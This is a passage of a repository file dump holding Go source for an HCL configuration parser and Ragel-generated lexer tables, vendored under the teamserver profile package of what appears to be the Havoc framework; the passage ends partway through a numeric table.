{\n    tokens, diags := LexExpression(src, filename, start)\n    peeker := newPeeker(tokens, false)\n    parser := &parser{peeker: peeker}\n\n    // Bare expressions are always parsed in  \"ignore newlines\" mode, as if\n    // they were wrapped in parentheses.\n    parser.PushIncludeNewlines(false)\n\n    expr, parseDiags := parser.ParseExpression()\n    diags = append(diags, parseDiags...)\n\n    next := parser.Peek()\n    if next.Type != TokenEOF && !parser.recovery {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Extra characters after expression\",\n            Detail:   \"An expression was successfully parsed, but extra characters were found after it.\",\n            Subject:  &next.Range,\n        })\n    }\n\n    parser.PopIncludeNewlines()\n\n    // Panic if the parser uses incorrect stack discipline with the peeker's\n    // newlines stack, since otherwise it will produce confusing downstream\n    // errors.\n    peeker.AssertEmptyIncludeNewlinesStack()\n\n    return expr, diags\n}\n\n// ParseTemplate parses the given buffer as a standalone HCL template,\n// returning it as an instance of Expression.\nfunc ParseTemplate(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) {\n    tokens, diags := LexTemplate(src, filename, start)\n    peeker := newPeeker(tokens, false)\n    parser := &parser{peeker: peeker}\n    expr, parseDiags := parser.ParseTemplate()\n    diags = append(diags, parseDiags...)\n\n    // Panic if the parser uses incorrect stack discipline with the peeker's\n    // newlines stack, since otherwise it will produce confusing downstream\n    // errors.\n    peeker.AssertEmptyIncludeNewlinesStack()\n\n    return expr, diags\n}\n\n// ParseTraversalAbs parses the given buffer as a standalone absolute traversal.\n//\n// Parsing as a traversal is more limited than parsing as an expression since\n// it allows only attribute and indexing operations on variables. Traverals\n// are useful as a syntax for referring to objects without necessarily\n// evaluating them.\nfunc ParseTraversalAbs(src []byte, filename string, start hcl.Pos) (hcl.Traversal, hcl.Diagnostics) {\n    tokens, diags := LexExpression(src, filename, start)\n    peeker := newPeeker(tokens, false)\n    parser := &parser{peeker: peeker}\n\n    // Bare traverals are always parsed in  \"ignore newlines\" mode, as if\n    // they were wrapped in parentheses.\n    parser.PushIncludeNewlines(false)\n\n    expr, parseDiags := parser.ParseTraversalAbs()\n    diags = append(diags, parseDiags...)\n\n    parser.PopIncludeNewlines()\n\n    // Panic if the parser uses incorrect stack discipline with the peeker's\n    // newlines stack, since otherwise it will produce confusing downstream\n    // errors.\n    peeker.AssertEmptyIncludeNewlinesStack()\n\n    return expr, diags\n}\n\n// LexConfig performs lexical analysis on the given buffer, treating it as a\n// whole HCL config file, and returns the resulting tokens.\n//\n// Only minimal validation is done during lexical analysis, so the returned\n// diagnostics may include errors about lexical issues such as bad character\n// encodings or unrecognized characters, but full parsing is required to\n// detect _all_ syntax errors.\nfunc LexConfig(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) {\n    tokens := scanTokens(src, filename, start, scanNormal)\n    diags := checkInvalidTokens(tokens)\n    return tokens, diags\n}\n\n// LexExpression performs lexical analysis on the given buffer, treating it as\n// a standalone HCL expression, and returns the resulting tokens.\n//\n// Only minimal validation is done during lexical analysis, so the returned\n// diagnostics may include errors about lexical issues such as bad character\n// encodings or unrecognized characters, but full parsing is required to\n// detect _all_ syntax errors.\nfunc LexExpression(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) {\n    // This is actually just the same thing as LexConfig, since configs\n    // and expressions lex in the same way.\n    tokens := scanTokens(src, filename, start, scanNormal)\n    diags := checkInvalidTokens(tokens)\n    return tokens, diags\n}\n\n// LexTemplate performs lexical analysis on the given buffer, treating it as a\n// standalone HCL template, and returns the resulting tokens.\n//\n// Only minimal validation is done during lexical analysis, so the returned\n// diagnostics may include errors about lexical issues such as bad character\n// encodings or unrecognized characters, but full parsing is required to\n// detect _all_ syntax errors.\nfunc LexTemplate(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) {\n    tokens := scanTokens(src, filename, start, scanTemplate)\n    diags := checkInvalidTokens(tokens)\n    return tokens, diags\n}\n\n// ValidIdentifier tests if the given string could be a valid identifier in\n// a native syntax expression.\n//\n// This is useful when accepting names from the user that will be used as\n// variable or attribute names in the scope, to ensure that any name chosen\n// will be traversable using the variable or attribute traversal syntax.\nfunc ValidIdentifier(s string) bool {\n    // This is a kinda-expensive way to do something pretty simple, but it\n    // is easiest to do with our existing scanner-related infrastructure here\n    // and nobody should be validating identifiers in a tight loop.\n    tokens := scanTokens([]byte(s), \"\", hcl.Pos{}, scanIdentOnly)\n    return len(tokens) == 2 && tokens[0].Type == TokenIdent && tokens[1].Type == TokenEOF\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/scan_string_lit.go",
    "content": "//line scan_string_lit.rl:1\n\npackage hclsyntax\n\n// This file is generated from scan_string_lit.rl. DO NOT EDIT.\n\n//line scan_string_lit.go:9\nvar _hclstrtok_actions []byte = []byte{\n\t0, 1, 0, 1, 1, 2, 1, 0,\n}\n\nvar _hclstrtok_key_offsets []byte = []byte{\n\t0, 0, 2, 4, 6, 10, 14, 18,\n\t22, 27, 31, 36, 41, 46, 51, 57,\n\t62, 74, 85, 96, 107, 118, 129, 140,\n\t151,\n}\n\nvar _hclstrtok_trans_keys []byte = []byte{\n\t128, 191, 128, 191, 128, 191, 10, 13,\n\t36, 37, 10, 13, 36, 37, 10, 13,\n\t36, 37, 10, 13, 36, 37, 10, 13,\n\t36, 37, 123, 10, 13, 36, 37, 10,\n\t13, 36, 37, 92, 10, 13, 36, 37,\n\t92, 10, 13, 36, 37, 92, 10, 13,\n\t36, 37, 92, 10, 13, 36, 37, 92,\n\t123, 10, 13, 36, 37, 92, 88, 0x78,\n\t128, 191, 192, 223, 224, 239, 240, 247,\n\t248, 255, 10, 13, 36, 37, 92, 48,\n\t57, 65, 70, 97, 102, 10, 13, 36,\n\t37, 92, 48, 57, 65, 70, 97, 102,\n\t10, 13, 36, 37, 92, 48, 57, 65,\n\t70, 97, 102, 10, 13, 36, 37, 92,\n\t48, 57, 65, 70, 97, 102, 10, 13,\n\t36, 37, 92, 48, 57, 65, 70, 97,\n\t102, 10, 13, 36, 37, 92, 48, 57,\n\t65, 70, 97, 102, 10, 13, 36, 37,\n\t92, 48, 57, 65, 70, 97, 102, 10,\n\t13, 36, 37, 92, 48, 57, 65, 70,\n\t97, 102,\n}\n\nvar _hclstrtok_single_lengths []byte = []byte{\n\t0, 0, 0, 0, 4, 4, 4, 4,\n\t5, 4, 5, 5, 5, 5, 6, 5,\n\t2, 5, 5, 5, 5, 5, 5, 5,\n\t5,\n}\n\nvar _hclstrtok_range_lengths []byte = []byte{\n\t0, 1, 1, 1, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0,\n\t5, 3, 3, 3, 3, 3, 3, 3,\n\t3,\n}\n\nvar _hclstrtok_index_offsets []byte = []byte{\n\t0, 0, 2, 4, 6, 11, 16, 21,\n\t26, 32, 37, 43, 49, 55, 61, 68,\n\t74, 82, 91, 100, 109, 118, 127, 136,\n\t145,\n}\n\nvar _hclstrtok_indicies []byte = []byte{\n\t0, 1, 2, 1, 3, 1, 5, 6,\n\t7, 8, 4, 10, 11, 12, 13, 9,\n\t14, 11, 12, 13, 9, 10, 11, 15,\n\t13, 9, 10, 11, 12, 13, 14, 9,\n\t10, 11, 12, 15, 9, 17, 18, 19,\n\t20, 21, 16, 23, 24, 25, 26, 27,\n\t22, 0, 24, 25, 26, 27, 22, 23,\n\t24, 28, 26, 27, 22, 23, 24, 25,\n\t26, 27, 0, 22, 23, 24, 25, 28,\n\t27, 22, 29, 30, 22, 2, 3, 31,\n\t22, 0, 23, 24, 25, 26, 27, 32,\n\t32, 32, 22, 23, 24, 25, 26, 27,\n\t33, 33, 33, 22, 23, 24, 25, 26,\n\t27, 34, 34, 34, 22, 23, 24, 25,\n\t26, 27, 30, 30, 30, 22, 23, 24,\n\t25, 26, 27, 35, 35, 35, 22, 23,\n\t24, 25, 26, 27, 36, 36, 36, 22,\n\t23, 24, 25, 26, 27, 37, 37, 37,\n\t22, 23, 24, 25, 26, 27, 0, 0,\n\t0, 22,\n}\n\nvar _hclstrtok_trans_targs []byte = []byte{\n\t11, 0, 1, 2, 4, 5, 6, 7,\n\t9, 4, 5, 6, 7, 9, 5, 8,\n\t10, 11, 12, 13, 15, 16, 10, 11,\n\t12, 13, 15, 16, 14, 17, 21, 3,\n\t18, 19, 20, 22, 23, 24,\n}\n\nvar _hclstrtok_trans_actions []byte = []byte{\n\t0, 0, 0, 0, 0, 1, 1, 1,\n\t1, 3, 5, 5, 5, 5, 0, 0,\n\t0, 1, 1, 1, 1, 1, 3, 5,\n\t5, 5, 5, 5, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0,\n}\n\nvar _hclstrtok_eof_actions []byte = []byte{\n\t0, 0, 0, 0, 0, 3, 3, 3,\n\t3, 3, 0, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3,\n\t3,\n}\n\nconst hclstrtok_start int = 4\nconst hclstrtok_first_final int = 4\nconst hclstrtok_error int = 0\n\nconst hclstrtok_en_quoted int = 10\nconst hclstrtok_en_unquoted int = 4\n\n//line scan_string_lit.rl:10\n\nfunc scanStringLit(data []byte, quoted bool) [][]byte {\n\tvar ret [][]byte\n\n\t// Ragel state\n\tp := 0          // \"Pointer\" into data\n\tpe := len(data) // End-of-data \"pointer\"\n\tts := 0\n\tte := 0\n\teof := pe\n\n\tvar cs int // current state\n\tswitch {\n\tcase quoted:\n\t\tcs = hclstrtok_en_quoted\n\tdefault:\n\t\tcs = hclstrtok_en_unquoted\n\t}\n\n\t// Make Go compiler happy\n\t_ = ts\n\t_ = eof\n\n\t/*token := func () {\n\t    ret = append(ret, data[ts:te])\n\t}*/\n\n\t//line scan_string_lit.go:154\n\t{\n\t}\n\n\t//line scan_string_lit.go:158\n\t{\n\t\tvar _klen int\n\t\tvar _trans int\n\t\tvar _acts int\n\t\tvar _nacts uint\n\t\tvar _keys int\n\t\tif p == pe {\n\t\t\tgoto _test_eof\n\t\t}\n\t\tif cs == 0 {\n\t\t\tgoto _out\n\t\t}\n\t_resume:\n\t\t_keys = int(_hclstrtok_key_offsets[cs])\n\t\t_trans = int(_hclstrtok_index_offsets[cs])\n\n\t\t_klen = int(_hclstrtok_single_lengths[cs])\n\t\tif _klen > 0 {\n\t\t\t_lower := int(_keys)\n\t\t\tvar _mid int\n\t\t\t_upper := int(_keys + _klen - 1)\n\t\t\tfor {\n\t\t\t\tif _upper < _lower {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\t_mid = _lower + ((_upper - _lower) >> 1)\n\t\t\t\tswitch {\n\t\t\t\tcase data[p] < _hclstrtok_trans_keys[_mid]:\n\t\t\t\t\t_upper = _mid - 1\n\t\t\t\tcase data[p] > _hclstrtok_trans_keys[_mid]:\n\t\t\t\t\t_lower = _mid + 1\n\t\t\t\tdefault:\n\t\t\t\t\t_trans += int(_mid - int(_keys))\n\t\t\t\t\tgoto _match\n\t\t\t\t}\n\t\t\t}\n\t\t\t_keys += _klen\n\t\t\t_trans += _klen\n\t\t}\n\n\t\t_klen = int(_hclstrtok_range_lengths[cs])\n\t\tif _klen > 0 {\n\t\t\t_lower := int(_keys)\n\t\t\tvar _mid int\n\t\t\t_upper := int(_keys + (_klen << 1) - 2)\n\t\t\tfor {\n\t\t\t\tif _upper < _lower {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\t_mid = _lower + (((_upper - _lower) >> 1) & ^1)\n\t\t\t\tswitch {\n\t\t\t\tcase data[p] < _hclstrtok_trans_keys[_mid]:\n\t\t\t\t\t_upper = _mid - 2\n\t\t\t\tcase data[p] > _hclstrtok_trans_keys[_mid+1]:\n\t\t\t\t\t_lower = _mid + 2\n\t\t\t\tdefault:\n\t\t\t\t\t_trans += int((_mid - int(_keys)) >> 1)\n\t\t\t\t\tgoto _match\n\t\t\t\t}\n\t\t\t}\n\t\t\t_trans += _klen\n\t\t}\n\n\t_match:\n\t\t_trans = int(_hclstrtok_indicies[_trans])\n\t\tcs = int(_hclstrtok_trans_targs[_trans])\n\n\t\tif _hclstrtok_trans_actions[_trans] == 0 {\n\t\t\tgoto _again\n\t\t}\n\n\t\t_acts = int(_hclstrtok_trans_actions[_trans])\n\t\t_nacts = uint(_hclstrtok_actions[_acts])\n\t\t_acts++\n\t\tfor ; _nacts > 0; _nacts-- {\n\t\t\t_acts++\n\t\t\tswitch _hclstrtok_actions[_acts-1] {\n\t\t\tcase 0:\n\t\t\t\t//line scan_string_lit.rl:40\n\n\t\t\t\t// If te is behind p then we've skipped over some literal\n\t\t\t\t// characters which we must now return.\n\t\t\t\tif te < p {\n\t\t\t\t\tret = append(ret, data[te:p])\n\t\t\t\t}\n\t\t\t\tts = p\n\n\t\t\tcase 1:\n\t\t\t\t//line scan_string_lit.rl:48\n\n\t\t\t\tte = p\n\t\t\t\tret = append(ret, data[ts:te])\n\n\t\t\t\t//line scan_string_lit.go:253\n\t\t\t}\n\t\t}\n\n\t_again:\n\t\tif cs == 0 {\n\t\t\tgoto _out\n\t\t}\n\t\tp++\n\t\tif p != pe {\n\t\t\tgoto _resume\n\t\t}\n\t_test_eof:\n\t\t{\n\t\t}\n\t\tif p == eof {\n\t\t\t__acts := _hclstrtok_eof_actions[cs]\n\t\t\t__nacts := uint(_hclstrtok_actions[__acts])\n\t\t\t__acts++\n\t\t\tfor ; __nacts > 0; __nacts-- {\n\t\t\t\t__acts++\n\t\t\t\tswitch _hclstrtok_actions[__acts-1] {\n\t\t\t\tcase 1:\n\t\t\t\t\t//line scan_string_lit.rl:48\n\n\t\t\t\t\tte = p\n\t\t\t\t\tret = append(ret, data[ts:te])\n\n\t\t\t\t\t//line scan_string_lit.go:278\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t_out:\n\t\t{\n\t\t}\n\t}\n\n\t//line scan_string_lit.rl:89\n\n\tif te < p {\n\t\t// Collect any leftover literal characters at the end of the input\n\t\tret = append(ret, data[te:p])\n\t}\n\n\t// If we fall out here without being in a final state then we've\n\t// encountered something that the scanner can't match, which should\n\t// be impossible (the scanner matches all bytes _somehow_) but we'll\n\t// tolerate it and let the caller deal with it.\n\tif cs < hclstrtok_first_final {\n\t\tret = append(ret, data[p:len(data)])\n\t}\n\n\treturn ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/scan_string_lit.rl",
    "content": "\npackage hclsyntax\n\n// This file is generated from scan_string_lit.rl. DO NOT EDIT.\n%%{\n  # (except you are actually in scan_string_lit.rl here, so edit away!)\n\n  machine hclstrtok;\n  write data;\n}%%\n\nfunc scanStringLit(data []byte, quoted bool) [][]byte {\n    var ret [][]byte\n\n    %%{\n        include UnicodeDerived \"unicode_derived.rl\";\n\n        UTF8Cont = 0x80 .. 0xBF;\n        AnyUTF8 = (\n            0x00..0x7F |\n            0xC0..0xDF . UTF8Cont |\n            0xE0..0xEF . UTF8Cont . UTF8Cont |\n            0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont\n        );\n        BadUTF8 = any - AnyUTF8;\n\n        Hex = ('0'..'9' | 'a'..'f' | 'A'..'F');\n\n        # Our goal with this patterns is to capture user intent as best as\n        # possible, even if the input is invalid. The caller will then verify\n        # whether each token is valid and generate suitable error messages\n        # if not.\n        UnicodeEscapeShort = \"\\\\u\" . Hex{0,4};\n        UnicodeEscapeLong = \"\\\\U\" . Hex{0,8};\n        UnicodeEscape = (UnicodeEscapeShort | UnicodeEscapeLong);\n        SimpleEscape = \"\\\\\" . (AnyUTF8 - ('U'|'u'))?;\n        TemplateEscape = (\"$\" . (\"$\" . (\"{\"?))?) | (\"%\" . (\"%\" . (\"{\"?))?);\n        Newline = (\"\\r\\n\" | \"\\r\" | \"\\n\");\n\n        action Begin {\n            // If te is behind p then we've skipped over some literal\n            // characters which we must now return.\n            if te < p {\n                ret = append(ret, data[te:p])\n            }\n            ts = p;\n        }\n        action End {\n            te = p;\n            ret = append(ret, data[ts:te]);\n        }\n\n        QuotedToken = (UnicodeEscape | SimpleEscape | TemplateEscape | Newline) >Begin %End;\n        UnquotedToken = (TemplateEscape | Newline) >Begin %End;\n        QuotedLiteral = (any - (\"\\\\\" | \"$\" | \"%\" | \"\\r\" | \"\\n\"));\n        UnquotedLiteral = (any - (\"$\" | \"%\" | \"\\r\" | \"\\n\"));\n\n        quoted := (QuotedToken | QuotedLiteral)**;\n        unquoted := (UnquotedToken | UnquotedLiteral)**;\n\n    }%%\n\n    // Ragel state\n\tp := 0  // \"Pointer\" into data\n\tpe := len(data) // End-of-data \"pointer\"\n    ts := 0\n    te := 0\n    eof := pe\n\n    var cs int // current state\n    switch {\n    case quoted:\n        cs = hclstrtok_en_quoted\n    default:\n        cs = hclstrtok_en_unquoted\n    }\n\n    // Make Go compiler happy\n    _ = ts\n    _ = eof\n\n    /*token := func () {\n        ret = append(ret, data[ts:te])\n    }*/\n\n    %%{\n        write init nocs;\n        write exec;\n    }%%\n\n    if te < p {\n        // Collect any leftover literal characters at the end of the input\n        ret = append(ret, data[te:p])\n    }\n\n    // If we fall out here without being in a final state then we've\n    // encountered something that the scanner can't match, which should\n    // be impossible (the scanner matches all bytes _somehow_) but we'll\n    // tolerate it and let the caller deal with it.\n    if cs < hclstrtok_first_final {\n        ret = append(ret, data[p:len(data)])\n    }\n\n    return ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/scan_tokens.go",
    "content": "//line scan_tokens.rl:1\n\npackage hclsyntax\n\nimport (\n    \"bytes\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// This file is generated from scan_tokens.rl. DO NOT EDIT.\n\n//line scan_tokens.go:15\nvar _hcltok_actions []byte = []byte{\n    0, 1, 0, 1, 1, 1, 3, 1, 4,\n    1, 7, 1, 8, 1, 9, 1, 10,\n    1, 11, 1, 12, 1, 13, 1, 14,\n    1, 15, 1, 16, 1, 17, 1, 18,\n    1, 19, 1, 20, 1, 23, 1, 24,\n    1, 25, 1, 26, 1, 27, 1, 28,\n    1, 29, 1, 30, 1, 31, 1, 32,\n    1, 35, 1, 36, 1, 37, 1, 38,\n    1, 39, 1, 40, 1, 41, 1, 42,\n    1, 43, 1, 44, 1, 47, 1, 48,\n    1, 49, 1, 50, 1, 51, 1, 52,\n    1, 53, 1, 56, 1, 57, 1, 58,\n    1, 59, 1, 60, 1, 61, 1, 62,\n    1, 63, 1, 64, 1, 65, 1, 66,\n    1, 67, 1, 68, 1, 69, 1, 70,\n    1, 71, 1, 72, 1, 73, 1, 74,\n    1, 75, 1, 76, 1, 77, 1, 78,\n    1, 79, 1, 80, 1, 81, 1, 82,\n    1, 83, 1, 84, 1, 85, 2, 0,\n    14, 2, 0, 25, 2, 0, 29, 2,\n    0, 37, 2, 0, 41, 2, 1, 2,\n    2, 4, 5, 2, 4, 6, 2, 4,\n    21, 2, 4, 22, 2, 4, 33, 2,\n    4, 34, 2, 4, 45, 2, 4, 46,\n    2, 4, 54, 2, 4, 55,\n}\n\nvar _hcltok_key_offsets []int16 = []int16{\n    0, 0, 1, 2, 4, 9, 13, 15,\n    57, 98, 144, 145, 149, 155, 155, 157,\n    159, 168, 174, 181, 182, 185, 186, 190,\n    195, 204, 208, 212, 220, 222, 224, 226,\n    229, 261, 263, 265, 269, 273, 276, 287,\n    300, 319, 332, 348, 360, 376, 391, 412,\n    422, 434, 445, 459, 474, 484, 496, 505,\n    517, 519, 523, 544, 553, 563, 569, 575,\n    576, 625, 627, 631, 633, 639, 646, 654,\n    661, 664, 670, 674, 678, 680, 684, 688,\n    692, 698, 706, 714, 720, 722, 726, 728,\n    734, 738, 742, 746, 750, 755, 762, 768,\n    770, 772, 776, 778, 784, 788, 792, 802,\n    807, 821, 836, 838, 846, 848, 853, 867,\n    872, 874, 878, 879, 883, 889, 895, 905,\n    915, 926, 934, 937, 940, 944, 948, 950,\n    953, 953, 956, 958, 988, 990, 992, 996,\n    1001, 1005, 1010, 1012, 1014, 1016, 1025, 1029,\n    1033, 1039, 1041, 1049, 1057, 1069, 1072, 1078,\n    1082, 1084, 1088, 1108, 1110, 1112, 1123, 1129,\n    1131, 1133, 1135, 1139, 1145, 1151, 1153, 1158,\n    1162, 1164, 1172, 1190, 1230, 1240, 1244, 1246,\n    1248, 1249, 1253, 1257, 1261, 1265, 1269, 1274,\n    1278, 1282, 1286, 1288, 1290, 1294, 1304, 1308,\n    1310, 1314, 1318, 1322, 1335, 1337, 1339, 1343,\n    1345, 1349, 1351, 1353, 1383, 1387, 1391, 1395,\n    1398, 1405, 1410, 1421, 1425, 1441, 1455, 1459,\n    1464, 1468, 1472, 1478, 1480, 1486, 1488, 1492,\n    1494, 1500, 1505, 1510, 1520, 1522, 1524, 1528,\n    1532, 1534, 1547, 1549, 1553, 1557, 1565, 1567,\n    1571, 1573, 1574, 1577, 1582, 1584, 1586, 1590,\n    1592, 1596, 1602, 1622, 1628, 1634, 1636, 1637,\n    1647, 1648, 1656, 1663, 1665, 1668, 1670, 1672,\n    1674, 1679, 1683, 1687, 1692, 1702, 1712, 1716,\n    1720, 1734, 1760, 1770, 1772, 1774, 1777, 1779,\n    1782, 1784, 1788, 1790, 1791, 1795, 1797, 1800,\n    1807, 1815, 1817, 1819, 1823, 1825, 1831, 1842,\n    1845, 1847, 1851, 1856, 1886, 1891, 1893, 1896,\n    1901, 1915, 1922, 1936, 1941, 1954, 1958, 1971,\n    1976, 1994, 1995, 2004, 2008, 2020, 2025, 2032,\n    2039, 2046, 2048, 2052, 2074, 2079, 2080, 2084,\n    2086, 2136, 2139, 2150, 2154, 2156, 2162, 2168,\n    2170, 2175, 2177, 2181, 2183, 2184, 2186, 2188,\n    2194, 2196, 2198, 2202, 2208, 2221, 2223, 2229,\n    2233, 2241, 2252, 2260, 2263, 2293, 2299, 2302,\n    2307, 2309, 2313, 2317, 2321, 2323, 2330, 2332,\n    2341, 2348, 2356, 2358, 2378, 2390, 2394, 2396,\n    2414, 2453, 2455, 2459, 2461, 2468, 2472, 2500,\n    2502, 2504, 2506, 2508, 2511, 2513, 2517, 2521,\n    2523, 2526, 2528, 2530, 2533, 2535, 2537, 2538,\n    2540, 2542, 2546, 2550, 2553, 2566, 2568, 2574,\n    2578, 2580, 2584, 2588, 2602, 2605, 2614, 2616,\n    2620, 2626, 2626, 2628, 2630, 2639, 2645, 2652,\n    2653, 2656, 2657, 2661, 2666, 2675, 2679, 2683,\n    2691, 2693, 2695, 2697, 2700, 2732, 2734, 2736,\n    2740, 2744, 2747, 2758, 2771, 2790, 2803, 2819,\n    2831, 2847, 2862, 2883, 2893, 2905, 2916, 2930,\n    2945, 2955, 2967, 2976, 2988, 2990, 2994, 3015,\n    3024, 3034, 3040, 3046, 3047, 3096, 3098, 3102,\n    3104, 3110, 3117, 3125, 3132, 3135, 3141, 3145,\n    3149, 3151, 3155, 3159, 3163, 3169, 3177, 3185,\n    3191, 3193, 3197, 3199, 3205, 3209, 3213, 3217,\n    3221, 3226, 3233, 3239, 3241, 3243, 3247, 3249,\n    3255, 3259, 3263, 3273, 3278, 3292, 3307, 3309,\n    3317, 3319, 3324, 3338, 3343, 3345, 3349, 3350,\n    3354, 3360, 3366, 3376, 3386, 3397, 3405, 3408,\n    3411, 3415, 3419, 3421, 3424, 3424, 3427, 3429,\n    3459, 3461, 3463, 3467, 3472, 3476, 3481, 3483,\n    3485, 3487, 3496, 3500, 3504, 3510, 3512, 3520,\n    3528, 3540, 3543, 3549, 3553, 3555, 3559, 3579,\n    3581, 3583, 3594, 3600, 3602, 3604, 3606, 3610,\n    3616, 3622, 3624, 3629, 3633, 3635, 3643, 3661,\n    3701, 3711, 3715, 3717, 3719, 3720, 3724, 3728,\n    3732, 3736, 3740, 3745, 3749, 3753, 3757, 3759,\n    3761, 3765, 3775, 3779, 3781, 3785, 3789, 3793,\n    3806, 3808, 3810, 3814, 3816, 3820, 3822, 3824,\n    3854, 3858, 3862, 3866, 3869, 3876, 3881, 3892,\n    3896, 3912, 3926, 3930, 3935, 3939, 3943, 3949,\n    3951, 3957, 3959, 3963, 3965, 3971, 3976, 3981,\n    3991, 3993, 3995, 3999, 4003, 4005, 4018, 4020,\n    4024, 4028, 4036, 4038, 4042, 4044, 4045, 4048,\n    4053, 4055, 4057, 4061, 4063, 4067, 4073, 4093,\n    4099, 4105, 4107, 4108, 4118, 4119, 4127, 4134,\n    4136, 4139, 4141, 4143, 4145, 4150, 4154, 4158,\n    4163, 4173, 4183, 4187, 4191, 4205, 4231, 4241,\n    4243, 4245, 4248, 4250, 4253, 4255, 4259, 4261,\n    4262, 4266, 4268, 4270, 4277, 4281, 4288, 4295,\n    4304, 4320, 4332, 4350, 4361, 4373, 4381, 4399,\n    4407, 4437, 4440, 4450, 4460, 4472, 4483, 4492,\n    4505, 4517, 4521, 4527, 4554, 4563, 4566, 4571,\n    4577, 4582, 4603, 4607, 4613, 4613, 4620, 4629,\n    4637, 4640, 4644, 4650, 4656, 4659, 4663, 4670,\n    4676, 4685, 4694, 4698, 4702, 4706, 4710, 4717,\n    4721, 4725, 4735, 4741, 4745, 4751, 4755, 4758,\n    4764, 4770, 4782, 4786, 4790, 4800, 4804, 4815,\n    4817, 4819, 4823, 4835, 4840, 4864, 4868, 4874,\n    4896, 4905, 4909, 4912, 4913, 4921, 4929, 4935,\n    4945, 4952, 4970, 4973, 4976, 4984, 4990, 4994,\n    4998, 5002, 5008, 5016, 5021, 5027, 5031, 5039,\n    5046, 5050, 5057, 5063, 5071, 5079, 5085, 5091,\n    5102, 5106, 5118, 5127, 5144, 5161, 5164, 5168,\n    5170, 5176, 5178, 5182, 5197, 5201, 5205, 5209,\n    5213, 5217, 5219, 5225, 5230, 5234, 5240, 5247,\n    5250, 5268, 5270, 5315, 5321, 5327, 5331, 5335,\n    5341, 5345, 5351, 5357, 5364, 5366, 5372, 5378,\n    5382, 5386, 5394, 5407, 5413, 5420, 5428, 5434,\n    5443, 5449, 5453, 5458, 5462, 5470, 5474, 5478,\n    5508, 5514, 5520, 5526, 5532, 5539, 5545, 5552,\n    5557, 5567, 5571, 5578, 5584, 5588, 5595, 5599,\n    5605, 5608, 5612, 5616, 5620, 5624, 5629, 5634,\n    5638, 5649, 5653, 5657, 5663, 5671, 5675, 5692,\n    5696, 5702, 5712, 5718, 5724, 5727, 5732, 5741,\n    5745, 5749, 5755, 5759, 5765, 5773, 5791, 5792,\n    5802, 5803, 5812, 5820, 5822, 5825, 5827, 5829,\n    5831, 5836, 5849, 5853, 5868, 5897, 5908, 5910,\n    5914, 5918, 5923, 5927, 5929, 5936, 5940, 5948,\n    5952, 5964, 5966, 5968, 5970, 5972, 5974, 5975,\n    5977, 5979, 5981, 5983, 5985, 5986, 5988, 5990,\n    5992, 5994, 5996, 6000, 6006, 6006, 6008, 6010,\n    6019, 6025, 6032, 6033, 6036, 6037, 6041, 6046,\n    6055, 6059, 6063, 6071, 6073, 6075, 6077, 6080,\n    6112, 6114, 6116, 6120, 6124, 6127, 6138, 6151,\n    6170, 6183, 6199, 6211, 6227, 6242, 6263, 6273,\n    6285, 6296, 6310, 6325, 6335, 6347, 6356, 6368,\n    6370, 6374, 6395, 6404, 6414, 6420, 6426, 6427,\n    6476, 6478, 6482, 6484, 6490, 6497, 6505, 6512,\n    6515, 6521, 6525, 6529, 6531, 6535, 6539, 6543,\n    6549, 6557, 6565, 6571, 6573, 6577, 6579, 6585,\n    6589, 6593, 6597, 6601, 6606, 6613, 6619, 6621,\n    6623, 6627, 6629, 6635, 6639, 6643, 6653, 6658,\n    6672, 6687, 6689, 6697, 6699, 6704, 6718, 6723,\n    6725, 6729, 6730, 6734, 6740, 6746, 6756, 6766,\n    6777, 6785, 6788, 6791, 6795, 6799, 6801, 6804,\n    6804, 6807, 6809, 6839, 6841, 6843, 6847, 6852,\n    6856, 6861, 6863, 6865, 6867, 6876, 6880, 6884,\n    6890, 6892, 6900, 6908, 6920, 6923, 6929, 6933,\n    6935, 6939, 6959, 6961, 6963, 6974, 6980, 6982,\n    6984, 6986, 6990, 6996, 7002, 7004, 7009, 7013,\n    7015, 7023, 7041, 7081, 7091, 7095, 7097, 7099,\n    7100, 7104, 7108, 7112, 7116, 7120, 7125, 7129,\n    7133, 7137, 7139, 7141, 7145, 7155, 7159, 7161,\n    7165, 7169, 7173, 7186, 7188, 7190, 7194, 7196,\n    7200, 7202, 7204, 7234, 7238, 7242, 7246, 7249,\n    7256, 7261, 7272, 7276, 7292, 7306, 7310, 7315,\n    7319, 7323, 7329, 7331, 7337, 7339, 7343, 7345,\n    7351, 7356, 7361, 7371, 7373, 7375, 7379, 7383,\n    7385, 7398, 7400, 7404, 7408, 7416, 7418, 7422,\n    7424, 7425, 7428, 7433, 7435, 7437, 7441, 7443,\n    7447, 7453, 7473, 7479, 7485, 7487, 7488, 7498,\n    7499, 7507, 7514, 7516, 7519, 7521, 7523, 7525,\n    7530, 7534, 7538, 7543, 7553, 7563, 7567, 7571,\n    7585, 7611, 7621, 7623, 7625, 7628, 7630, 7633,\n    7635, 7639, 7641, 7642, 7646, 7648, 7650, 7657,\n    7661, 7668, 7675, 7684, 7700, 7712, 7730, 7741,\n    7753, 7761, 7779, 7787, 7817, 7820, 7830, 7840,\n    7852, 7863, 7872, 7885, 7897, 7901, 7907, 7934,\n    7943, 7946, 7951, 7957, 7962, 7983, 7987, 7993,\n    7993, 8000, 8009, 8017, 8020, 8024, 8030, 8036,\n    8039, 8043, 8050, 8056, 8065, 8074, 8078, 8082,\n    8086, 8090, 8097, 8101, 8105, 8115, 8121, 8125,\n    8131, 8135, 8138, 8144, 8150, 8162, 8166, 8170,\n    8180, 8184, 8195, 8197, 8199, 8203, 8215, 